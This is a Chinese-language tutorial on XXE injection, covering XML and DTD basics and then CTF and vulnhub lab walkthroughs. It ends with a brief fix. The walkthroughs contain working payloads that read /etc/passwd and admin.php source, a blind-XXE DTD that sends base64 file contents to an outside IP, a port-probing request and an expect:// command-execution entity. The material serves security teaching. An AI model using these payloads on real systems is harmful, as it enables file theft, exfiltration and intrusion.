您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關XXE漏洞原理是什么,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
XXE全稱XML External Entity InjectionXML在引入外部實體的時候完成注入攻擊稱為XXE。那么它帶來的危害有那些:
1.DOS攻擊
2.SSRF攻擊
3.使用file協議讀取任意文件
4.端口探測
5.執行系統命令
XML是一種用來傳輸和存儲數據的可擴展標記語言。
XML用于傳輸和數據存儲。HTML用于顯示數據。
Dtd文檔類型定義是一套為了進行程序見的數據交換而建立的關于標記符的語法規則。
1.1 xml語法
語法規則
1.所有的XML元素都必須有一個關閉標簽
2.XML標簽對大小寫敏感
3.XML必須正確嵌套
4.XML屬性值必須加引號“”
5.實體引用:在標簽屬性,或者對應位置值可能出現<>符號,這些在對應的xml中都是特殊含義的,那么必須使用對應html的實體對應的表示:例如,<message>if salary < 1000 then </message>如果把這個“<”放在元素中,那么解析器會把他當成新元素的開始,就會發生報錯。為了避免這個錯誤使用實體引用來代替<message>if salary &lt; 1000 then </message>
1.2 xml結構
XML 文檔聲明,在文檔的第一行
XML 文檔類型定義,即DTD,XXE 漏洞所在的地方
XML 文檔元素
1.3 XML DTD(文檔類型定義)
DTD的作用就是用來定義XML文檔的合法構建模塊DTD可以在XML文檔內聲明,也可以在外部引用。
內部聲明DTD <!DOCTYPE 根元素 [元素聲明]> 外部聲明DTD <!DOCTYPE 根元素 SYSTEM "文件名"> <!DOCTYPE note SYSTEM "Note.dtd"> 或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
實例1.1:內部聲明DTD
<?xml version="1.0"?> //xml聲明 <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> //定義了note元素,并且note元素下面有4個子元素 <!ELEMENT to (#PCDATA)> //定義了子元素to,后面的(#PCDATA)意思是to元素里面的字符串內容不會被解析 <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> //從<!DOCTYPE...到}>,是DTD文檔的定義 <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> //后面這部分就是XML文件內容
實例1.2:外部聲明DTD
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
這個note.dtd的內容就是:
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
DTD實體DTD實體是用于定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。
內部聲明實體 <!DOCTYPE 實體名稱 "實體的值"> 引用外部實體 <!DOCTYPE 實體名稱 SYSTEM "URL"> 或者 <!DOCTYPE 實體名稱 PUBLIC "public_ID" "URL">
實例2.1:內部聲明實體
<?xml version="1.0"?> <!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "Hu3sky"> ]> <note> <name>&hack3r;</name> </note>
實例2.2:外部聲明實體外部實體用來引用外部資源,有兩個關鍵字SYSTEM和PUBLIC兩個,表示實體來自本地計算機還是公共計算機,外部實體的利用會用到協議如下:
不同語言下支持的協議:
<?xml version="1.0"?> <!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "http://www.chenguanxin.com"> ]> <note> <name>&hack3r;</name> </note>
參數實體參數實體只能在DTD中定義和使用實體,一般的話引用時%作為前綴。而內部實體是指在一個實體中定義的另一個實體,說白了就是嵌套的。
<!ENTITY %實體名稱 "值"> <!ENTITY %實體名稱 SYSTEM "URL">
實例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo>
而里面引用的外部實體evil.dtd的內容:
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
正因為外部實體支持的http,file等協議,那么就有可能通過以用外部實體進行遠程文件讀取。
綜上所述,xxe漏洞就是允許了引入外部實體的加載,從而導致程序在解析xml的時候,可以加載惡意外部文件,從而造成文件讀取等危害。
2.1 文件讀取(有回顯)
xxe-php靶場演示:
我們先看一下dologin.php代碼
libxml_disable_entity_loader(false);函數意思就是不禁止外部實體加載;file_get_contents()函數,把整個文件讀入一個字符串中。LIBXML_NOENT: 將 XML 中的實體引用 替換 成對應的值LIBXML_DTDLOAD: 加載 DOCTYPE 中的 DTD 文件 通過php://input協議獲取POST請求數據,然后把數據通過file_get_contents()函數,放在$xmlfile變量中。
我們先抓包,看一下
傳輸類型是xml,通過post傳輸的數據。然后看一下返回的響應包
發現,響應包返回的信息中,有username的值admin。
那么我么嘗試構造payload來構造外部實體admin處的注入,利用協議讀取文件
網站在window系統上搭建: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxes SYSTEM "file:///c:/windows/win.ini"> ]> <user><username>&xxes;</username><password>admin</password></user> 網站在linux系統上搭建: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxes SYSTEM "file:///etc/passwd"> ]> <user><username>&xxes;</username><password>admin</password></user>
成功讀取了c盤下win.in文件。
這種情況是提交請求后,響應有回顯的時候。但是有時候沒有回顯的時候就可以使用Blind xxe。
2.2 文件讀取(無回顯blind xxe)
blind xxe雖然不回顯信息,但是可以利用file協議來讀取文件。對于這種情況,就可以用到參數實體了。用下面這個靶場演示一下
靶場地址:https://www.vulnspy.com/phpaudit-xxe/
在輸入框輸入構造的xxe代碼,抓取請求包
我們看到將我們提交的xxe代碼,放在date里面,響應包沒有返回我們要查詢的信息,只有ok輸出在頁面上。
對于沒有回顯,就要利用http協議將請求發送到遠程服務器上,從而獲取文件的內容。那么在我們自己的服務器上,寫一個dtd文件
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://39.107.90.188:8081/%file;'>">
然后在服務其上監聽8081端口
然后,我們將構造的xxe代碼,輸入到輸入框并提交
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://39.107.90.188/evil.dtd"> %remote;%int;%send; ]>
然后在vps看一下監聽
出現base64加密的數據,用base64解密內容:
成功讀取了passwd文件內容。
上面構造的payload,調用了%remote ,%int ,%send三個參數實體。一次利用順序就是通過%remote調用遠程服務器vps上,我們常見的evil.dtd文件,然后%int調用了evil.dtd中的%file,而%file就會獲取服務讀取敏感文件,然后將%file的結果放到%send之后,然后我們調用%send,把讀取的數據以get請求發送到服務器vps上,這就是外帶數據的結果。
2.3 端口探測
正因為xml外部實體攻擊利用的http協議,也就是說利用該請求探測內網端口的存活,從而可以進行ssrf攻擊。構造代碼:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxes SYSTEM “http://127.0.0.1:8000"> ]> <user><username>&xxes;</username><password>admin</password></user>
2.4命令執行
前提是:在php環境中,如果說php擴展安裝expect擴展,那么就能執行系統命令。構造代碼:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxes SYSTEM "expect://id"> ]> <user><username>&xxes;</username><password>admin</password></user>
3.1 api調用
是來自Jarvis OJ平臺的一道web題型,地址http://web.jarvisoj.com:9882/
看到題目說flag在/home/ctf/flag.txt中,那么就是訪問這個目錄了。
首先,我們看一下地址入口,頁面是一個提交框,點擊go后,把輸入框輸入的信息,提交到文本框中
看一下響應包中的提交數據包和響應包數據:
發現,提交數據是以json格式提交的數據。那么對于這種提交方式,去嘗試會不會解析xml,那么要修改一下Content-type為xml,然后寫一個xml,看響應包解不解析:
可以看到返回的響應數據包中,返回輸入了內容,也就是說服務器成功解析,是由回顯的xxe,那么我么那就構造paly了。用我們平常構造的代碼,看是否能讀passwd文件數據:
構造paylaod
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPEANY[<!ENTITYxxesSYSTEM"file:///etc/passwd"> ]> <root> &xxes;</root>
果然成功讀出了passwd的內容,那么就去訪問flag.txt文件了,構造代碼payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPEANY[<!ENTITYxxesSYSTEM"file:///home/ctf/flag.txt"> ]> <root> &xxes;</root>
看到成功獲取了flag。
3.2 vulnhub靶場
這個靶場是透過我們平常滲透測試思路,信息收集,根據收集的信息查找漏洞,利用漏洞,一步步拿到flag。
網站搭建,下載虛擬機,直接導入vm中就行,下載https://download.vulnhub.com/xxe/XXE.zip
我們導入虛擬機后,需要密碼賬號進入,這里不需要。
因為是虛擬機導入,就可以知道這個的ip地址:192.168.171.146,通過瀏覽器訪問,出現apache2服務頁面
會不會含有其他目錄呢,使用目錄掃描掃描一下目錄:
發現robots.txt文件,訪問一下:
看到存在兩個頁面,訪問xxe目錄
發現是一個登錄頁面,那么輸入賬號密碼,看看響應包是什么數據
看到通過xml傳輸數據,那么是不是可以利用xxe漏洞呢?那就嘗試常用讀取文件的payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPEANY[<!ENTITYxxeSYSTEM"file:///etc/passwd"> ]><root><name>&xxe;</name><password>admin</password></root>
居然成功讀取了,存在xxe漏洞。
我們再查看一下,剛才robots.txt中的admin.php頁面
需要登錄,那就利用xxe漏洞讀取admin.php源。
這里構造payload的時候,使用base64方法讀取文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php"> ]><root><name>&xxe;</name><password>admin</password></root>
將響應包中的base64編碼解碼:
看到登錄頁面的密碼和賬號,但是賬號md5加密,解密就ok
利用賬號administhebest和密碼admin@123 登錄頁面:
頁面出現flag,點擊進去,頁面跳轉到flagmeout.php
頁面不顯示,那么再利用xxe漏洞讀取該文件內容
然后把得到base64解密:
成功拿到flag<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->
通過上面學習總結,xxe漏洞產生的原因是,允許加載了外部實體。那么要防御禁止外部實體加載。
libxml_disable_entity_loader(true);
將false不禁止外部實體加載,改為true禁止外部實體加載。
上述就是小編為大家分享的XXE漏洞原理是什么了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。